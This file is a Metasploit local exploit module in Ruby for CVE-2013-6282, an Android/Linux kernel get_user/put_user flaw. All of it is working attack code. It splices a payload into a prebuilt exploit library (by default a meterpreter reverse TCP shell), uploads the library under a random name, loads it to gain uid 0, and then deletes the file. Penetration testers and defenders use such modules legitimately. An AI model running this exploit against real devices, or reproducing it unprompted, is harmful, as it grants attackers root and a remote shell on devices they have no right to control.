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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Msf::Post::File
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  include Msf::Post::Common
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        {
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          'Name' => "Android get_user/put_user Exploit",
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          'Description' => %q{
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            This module exploits a missing check in the get_user and put_user API functions
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            in the linux kernel before 3.5.5. The missing checks on these functions
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            allow an unprivileged user to read and write kernel memory.
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            This exploit first reads the kernel memory to identify the commit_creds and
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            ptmx_fops address, then uses the write primitive to execute shellcode as uid 0.
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            The exploit was first discovered in the wild in the vroot rooting application.
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          },
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          'License' => MSF_LICENSE,
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          'Author' => [
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            'fi01', # libget_user_exploit / libput_user_exploit
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            'cubeundcube', # kallsyms_in_memory
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            'timwr',       # Metasploit module
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          ],
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          'References' => [
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            [ 'CVE', '2013-6282' ],
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            [ 'URL', 'https://forum.xda-developers.com/t/root-share-vroot-1-6-0-3690-1-click-root-method-lenovo-a706-walkman-f800-etc.2434453/' ],
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            [ 'URL', 'https://github.com/fi01/libget_user_exploit' ],
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            [ 'URL', 'https://forum.xda-developers.com/t/root-saferoot-root-for-vruemj7-mk2-and-android-4-3.2565758/' ],
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          ],
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          'DisclosureDate' => '2013-09-06',
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          'SessionTypes' => [ 'meterpreter' ],
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          "Platform" => [ "android", "linux" ],
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          'Targets' => [[ 'Automatic', {}]],
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          'Payload' => { 'Space' => 2048, },
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          'DefaultOptions' => {
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            'WfsDelay' => 120,
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            'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',
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          },
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          'DefaultTarget' => 0,
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          'Compat' => {
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            'Meterpreter' => {
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              'Commands' => %w[
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                core_loadlib
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                stdapi_fs_delete_file
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                stdapi_fs_getwd
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              ]
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            }
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          },
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        }
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      )
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    )
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  end
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  def exploit
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    local_file = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-6282.so")
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    exploit_data = File.read(local_file, mode: 'rb')
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    space = payload_space
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    payload_encoded = payload.encoded
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    # Substitute the exploit shellcode with our own
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    exploit_data.gsub!("\x90" * 4 + "\x00" * (space - 4), payload_encoded + "\x90" * (payload_encoded.length - space))
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    workingdir = session.fs.dir.getwd
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    remote_file = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
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    write_file(remote_file, exploit_data)
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    print_status("Loading exploit library #{remote_file}")
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    session.core.load_library(
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      'LibraryFilePath' => local_file,
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      'TargetFilePath' => remote_file,
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      'UploadLibrary' => false,
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      'Extension' => false,
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      'SaveToDisk' => false
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    )
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    print_status("Loaded library #{remote_file}, deleting")
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    session.fs.file.rm(remote_file)
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    print_status("Waiting #{datastore['WfsDelay']} seconds for payload")
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  end
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end
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